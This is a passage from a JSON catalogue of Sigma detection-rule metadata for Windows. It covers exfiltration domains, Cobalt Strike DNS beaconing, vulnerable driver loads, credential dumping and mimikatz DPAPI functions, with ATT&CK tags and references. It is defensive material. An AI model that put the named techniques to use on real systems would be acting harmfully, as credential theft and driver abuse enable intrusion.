"Exports Registry Key To an Alternate Data Stream", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_regedit_export_to_ads.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2020/10/07", - "filename": "create_stream_hash_regedit_export_to_ads.yml", - "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_stream_hash", - "logsource.product": "windows" - } - }, - { - "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", - "uuid": "52182dfb-afb7-41db-b4bc-5336cb29b464", - "value": "Suspicious File Download from File Sharing Domain", - "meta": { - "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.s0139", - "attack.t1564.004" - ], - "creation_date": "2022/08/24", - "filename": "create_stream_hash_susp_domain_ext_combo.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_stream_hash", - "logsource.product": "windows" - } - }, - { - "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", - "uuid": "ae02ed70-11aa-4a22-b397-c0d0e8f6ea99", - "value": "Unusual File Download from File Sharing Domain", - "meta": { - "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo_med.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.s0139", - "attack.t1564.004" - ], - "creation_date": "2022/08/24", - "filename": "create_stream_hash_susp_domain_ext_combo_med.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_stream_hash", - "logsource.product": "windows" - } - }, - { - "description": "Detects the download of suspicious file type from URLs with IP", - "uuid": "025bd229-fd1f-4fdb-97ab-20006e1a5368", - "value": "Unusual File Download from Direct IP Address", - "meta": { - "refs": [ - "https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_ip_domains.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2022/09/07", - "filename": "create_stream_hash_susp_ip_domains.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_stream_hash", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "uuid": "4d07b1f4-cb00-4470-b9f8-b0191d48ff52", - "value": "Query To Remote Access Software Domain", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution", - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_remote_access_software_domains.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/07/11", - "filename": "dns_query_remote_access_software_domains.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "FP may be caused in legitimate usage of the softwares mentioned above" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes", - "uuid": "065cceea-77ec-4030-9052-fc0affea7110", - "value": "DNS Query for Anonfiles.com Domain", - "meta": { - "refs": [ - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_anonymfiles_com.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ], - "creation_date": "2022/07/15", - "filename": "dns_query_win_anonymfiles_com.yml", - "author": "pH-T", - "level": "high", - "falsepositive": [ - "Legitimate access to anonfiles.com" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detects Azure Hybrid Connection Manager services querying the Azure service bus service", - "uuid": "7bd3902d-8b8b-4dd4-838a-c6862d40150d", - "value": "DNS HybridConnectionManager Service Bus", - "meta": { - "refs": [ - "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_hybridconnectionmgr_servicebus.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1554" - ], - "creation_date": "2021/04/12", - "filename": "dns_query_win_hybridconnectionmgr_servicebus.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Legitimate use of Azure Hybrid Connection Manager and the Azure Service Bus service" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL", - "uuid": "7cff77e1-9663-46a3-8260-17f2e1aa9d0a", - "value": "AppInstaller Attempts From URL by DNS", - "meta": { - "refs": [ - "https://twitter.com/notwhickey/status/1333900137232523264", - "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_lobas_appinstaller.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2021/11/24", - "filename": "dns_query_win_lobas_appinstaller.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons", - "uuid": "f356a9c4-effd-4608-bbf8-408afd5cd006", - "value": "Suspicious Cobalt Strike DNS Beaconing", - "meta": { - "refs": [ - "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", - "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mal_cobaltstrike.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2021/11/09", - "filename": "dns_query_win_mal_cobaltstrike.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detects DNS queries for subdomains used for upload to MEGA.io", - "uuid": "613c03ba-0779-4a53-8a1f-47f914a4ded3", - "value": "DNS Query for MEGA.io Upload Domain", - "meta": { - "refs": [ - "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mega_nz.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ], - "creation_date": "2021/05/26", - "filename": "dns_query_win_mega_nz.yml", - "author": "Aaron Greetham (@beardofbinary) - NCC Group", - "level": "high", - "falsepositive": [ - "Legitimate Mega upload" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detects several different DNS-answers by one domain with IPs from internal and external networks. Normally, DNS-answer contain TTL >100. (DNS-record will saved in host cache for a while TTL).", - "uuid": "eb07e747-2552-44cd-af36-b659ae0958e4", - "value": "Possible DNS Rebinding", - "meta": { - "refs": [ - "https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_possible_dns_rebinding.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1189" - ], - "creation_date": "2019/10/25", - "filename": "dns_query_win_possible_dns_rebinding.yml", - "author": "Ilyas Ochkov, oscd.community", - "level": "medium", - "falsepositive": "No established falsepositives", - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", - "uuid": "36e037c4-c228-4866-b6a3-48eb292b9955", - "value": "Regsvr32 Network Activity", - "meta": { - "refs": [ - "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", - "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml" - ], - "tags": [ - "attack.execution", - "attack.t1559.001", - "attack.defense_evasion", - "attack.t1218.010" - ], - "creation_date": "2019/10/25", - "filename": "dns_query_win_regsvr32_network_activity.yml", - "author": "Dmitriy Lifanov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detects DNS queries for ip lookup services such as api.ipify.org not originating from a non browser process.", - "uuid": "ec82e2a5-81ea-4211-a1f8-37a0286df2c2", - "value": "Suspicious DNS Query for IP Lookup Service APIs", - "meta": { - "refs": [ - "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", - "https://twitter.com/neonprimetime/status/1436376497980428318", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ipify.yml" - ], - "tags": [ - "attack.reconnaissance", - "attack.t1590" - ], - "creation_date": "2021/07/08", - "filename": "dns_query_win_susp_ipify.yml", - "author": "Brandon George (blog post), Thomas Patzke (rule)", - "level": "medium", - "falsepositive": [ - "Legitimate usage of ip lookup services such as ipify API" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detect suspicious LDAP request from non-Windows application", - "uuid": "a21bcd7e-38ec-49ad-b69a-9ea17e69509e", - "value": "Suspicious LDAP Domain Access", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ldap.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1482" - ], - "creation_date": "2022/08/20", - "filename": "dns_query_win_susp_ldap.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Programs that also lookup the observed domain" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)", - "uuid": "778ba9a8-45e4-4b80-8e3e-34a419f0b85e", - "value": "Suspicious TeamViewer Domain Access", - "meta": { - "refs": [ - "https://www.teamviewer.com/en-us/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_teamviewer.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/01/30", - "filename": "dns_query_win_susp_teamviewer.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown binary names of TeamViewer", - "Other programs that also lookup the observed domain" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detects DNS resolution of an .onion address related to Tor routing networks", - "uuid": "b55ca2a3-7cff-4dda-8bdd-c7bfa63bf544", - "value": "Query Tor Onion Address", - "meta": { - "refs": [ - "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_tor_onion.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090.003" - ], - "creation_date": "2022/02/20", - "filename": "dns_query_win_tor_onion.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detects DNS queries for subdomains used for upload to ufile.io", - "uuid": "1cbbeaaf-3c8c-4e4c-9d72-49485b6a176b", - "value": "DNS Query for Ufile.io Upload Domain", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_ufile_io.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ], - "creation_date": "2022/06/23", - "filename": "dns_query_win_ufile_io.yml", - "author": "yatinwad and TheDFIRReport", - "level": "high", - "falsepositive": [ - "Legitimate Ufile upload" - ], - "logsource.category": "dns_query", - "logsource.product": "windows" - } - }, - { - "description": "Detects well-known credential dumping tools execution via service execution events", - "uuid": "df5ff0a5-f83f-4a5b-bba1-3e6a3f6f6ea2", - "value": "Credential Dumping Tools Service Execution", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_mal_creddumper.yml" - ], - "tags": [ - "attack.credential_access", - "attack.execution", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005", - "attack.t1003.006", - "attack.t1569.002", - "attack.s0005" - ], - "creation_date": "2017/03/05", - "filename": "driver_load_mal_creddumper.yml", - "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "level": "critical", - "falsepositive": [ - "Legitimate Administrator using credential dumping tool for password recovery" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", - "uuid": "d585ab5a-6a69-49a8-96e8-4a726a54de46", - "value": "Meterpreter or Cobalt Strike Getsystem Service Installation", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1134.001", - "attack.t1134.002" - ], - "creation_date": "2019/10/26", - "filename": "driver_load_meterpreter_or_cobaltstrike_getsystem_service_installation.yml", - "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", - "level": "critical", - "falsepositive": [ - "Highly unlikely" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects powershell script installed as a Service", - "uuid": "46deb5e1-28c9-4905-b2df-51cdcc9e6073", - "value": "PowerShell Scripts Run by a Services", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_powershell_script_installed_as_service.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2020/10/06", - "filename": "driver_load_powershell_script_installed_as_service.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects a driver load from a temporary directory", - "uuid": "2c4523d5-d481-4ed0-8ec3-7fbf0cb41a75", - "value": "Suspicious Driver Load from Temp", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_susp_temp_use.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2017/02/12", - "filename": "driver_load_susp_temp_use.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "There is a relevant set of false positives depending on applications in the environment" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of a signed and vulnerable AVAST Anti Rootkit driver often used by threat actors or malware for stopping and disabling AV and EDR products", - "uuid": "7c676970-af4f-43c8-80af-ec9b49952852", - "value": "Vulnerable AVAST Anti Rootkit Driver Load", - "meta": { - "refs": [ - "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_avast_anti_rootkit_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/07/28", - "filename": "driver_load_vuln_avast_anti_rootkit_driver.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551", - "uuid": "21b23707-60d6-41bb-96e3-0f0481b0fed9", - "value": "Vulnerable Dell BIOS Update Driver Load", - "meta": { - "refs": [ - "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_dell_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "cve.2021.21551", - "attack.t1543" - ], - "creation_date": "2021/05/05", - "filename": "driver_load_vuln_dell_driver.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate BIOS driver updates (should be rare)" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of known vulnerable drivers by hash value", - "uuid": "7aaaf4b8-e47c-4295-92ee-6ed40a6f60c8", - "value": "Vulnerable Driver Load", - "meta": { - "refs": [ - "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", - "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", - "https://github.com/jbaines-r7/dellicious", - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", - "https://github.com/namazso/physmem_drivers", - "https://github.com/stong/CVE-2020-15368", - "https://github.com/CaledoniaProject/drivers-binaries", - "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html", - "https://github.com/tandasat/ExploitCapcom", - "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md", - "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/DRIVER7.md", - "https://www.unknowncheats.me/forum/downloads.php?do=file&id=21780", - "https://www.rapid7.com/db/modules/exploit/windows/local/razer_zwopenprocess/", - "https://www.unknowncheats.me/forum/downloads.php?do=file&id=25444", - "https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/08/18", - "filename": "driver_load_vuln_drivers.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of known vulnerable drivers via their names only.", - "uuid": "c316eac1-f3d8-42da-ad1c-66dcec5ca787", - "value": "Vulnerable Driver Load By Name", - "meta": { - "refs": [ - "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", - "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", - "https://github.com/jbaines-r7/dellicious", - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", - "https://github.com/namazso/physmem_drivers", - "https://github.com/stong/CVE-2020-15368", - "https://github.com/CaledoniaProject/drivers-binaries", - "https://github.com/Chigusa0w0/AsusDriversPrivEscala", - "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", - "https://eclypsium.com/2019/11/12/mother-of-all-drivers/", - "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-37969", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers_names.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/10/03", - "filename": "driver_load_vuln_drivers_names.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Some false positives may occure if one of the vulnerable driver names mentioned above didn't change it's name between versions. So always make sure that the driver being loaded is the legitimate one and the non vulnerable version.", - "If you experience a lot of FP you could comment the driver name or it's exact known legitimate location (when possible)" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of a signed and vulnerable GIGABYTE driver often used by threat actors or malware for privilege escalation", - "uuid": "7bcfeece-e5ed-4ff3-a5fb-2640d8cc8647", - "value": "Vulnerable GIGABYTE Driver Load", - "meta": { - "refs": [ - "https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b", - "https://twitter.com/malmoeb/status/1551449425842786306", - "https://github.com/fengjixuchui/gdrv-loader", - "https://www.virustotal.com/gui/file/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427/details", - "https://www.virustotal.com/gui/file/cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b/details", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_gigabyte_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/07/25", - "filename": "driver_load_vuln_gigabyte_driver.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors", - "uuid": "295c9289-acee-4503-a571-8eacaef36b28", - "value": "Vulnerable HackSys Extreme Vulnerable Driver Load", - "meta": { - "refs": [ - "https://github.com/hacksysteam/HackSysExtremeVulnerableDriver", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hevd_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/08/18", - "filename": "driver_load_vuln_hevd_driver.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation", - "uuid": "9bacc538-d1b9-4d42-862e-469eafc05a41", - "value": "Vulnerable HW Driver Load", - "meta": { - "refs": [ - "https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/", - "https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5/details", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hw_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/07/26", - "filename": "driver_load_vuln_hw_driver.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges", - "uuid": "ac683a42-877b-4ff8-91ac-69e94b0f70b4", - "value": "Vulnerable Lenovo Driver Load", - "meta": { - "refs": [ - "https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities", - "https://github.com/alfarom256/CVE-2022-3699/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_lenovo_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "cve.2021.21551", - "attack.t1543" - ], - "creation_date": "2022/11/10", - "filename": "driver_load_vuln_lenovo_driver.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate driver loads (old driver that didn't receive an update)" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation", - "uuid": "1a42dfa6-6cb2-4df9-9b48-295be477e835", - "value": "Vulnerable WinRing0 Driver Load", - "meta": { - "refs": [ - "https://github.com/xmrig/xmrig/tree/master/bin/WinRing0", - "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_winring0_driver.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/07/26", - "filename": "driver_load_vuln_winring0_driver.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows", - "uuid": "679085d5-f427-4484-9f58-1dc30a7c426d", - "value": "WinDivert Driver Load", - "meta": { - "refs": [ - "https://reqrypt.org/windivert-doc.html", - "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_windivert.yml" - ], - "tags": [ - "attack.collection", - "attack.defense_evasion", - "attack.t1599.001", - "attack.t1557.001" - ], - "creation_date": "2021/07/30", - "filename": "driver_load_windivert.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate WinDivert driver usage" - ], - "logsource.category": "driver_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious processes based on name and location that access the browser credential stores which can be the sign of credential stealing", - "uuid": "91cb43db-302a-47e3-b3c8-7ede481e27bf", - "value": "Browser Credential Store Access", - "meta": { - "refs": [ - "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users", - "https://github.com/lclevy/firepwd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_stealing.yml" - ], - "tags": [ - "attack.t1003", - "attack.credential_access" - ], - "creation_date": "2022/04/09", - "filename": "file_access_win_browser_credential_stealing.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Antivirus, Anti-Spyware, Anti-Malware Software", - "Backup software", - "Software installed on other partitions other than \"C:\\\"", - "Searching software such as \"everything.exe\" that are installed and are not located in one of the \"filter_programfile\" filter entries" - ], - "logsource.category": "file_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious processes based on name and location that access the windows credential manager and vault.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::cred\" function\n", - "uuid": "407aecb1-e762-4acf-8c7b-d087bcff3bb6", - "value": "Credential Manager Access", - "meta": { - "refs": [ - "https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_credential_manager_stealing.yml" - ], - "tags": [ - "attack.t1003", - "attack.credential_access" - ], - "creation_date": "2022/10/11", - "filename": "file_access_win_credential_manager_stealing.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate software installed by the users for example in the \"AppData\" directory may access these files (for any reason)." - ], - "logsource.category": "file_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious processes based on name and location that access the Windows Data Protection API Master keys.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::masterkey\" function\n", - "uuid": "46612ae6-86be-4802-bc07-39b59feb1309", - "value": "Suspicious Access To Windows DPAPI Master Keys", - "meta": { - "refs": [ - "https://web.archive.org/web/20181130065817/http://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/", - "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.004" - ], - "creation_date": "2022/10/17", - "filename": "file_access_win_dpapi_master_key_access.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_access", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious processes based on name and location that access the Windows Credential History File.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::credhist\" function\n", 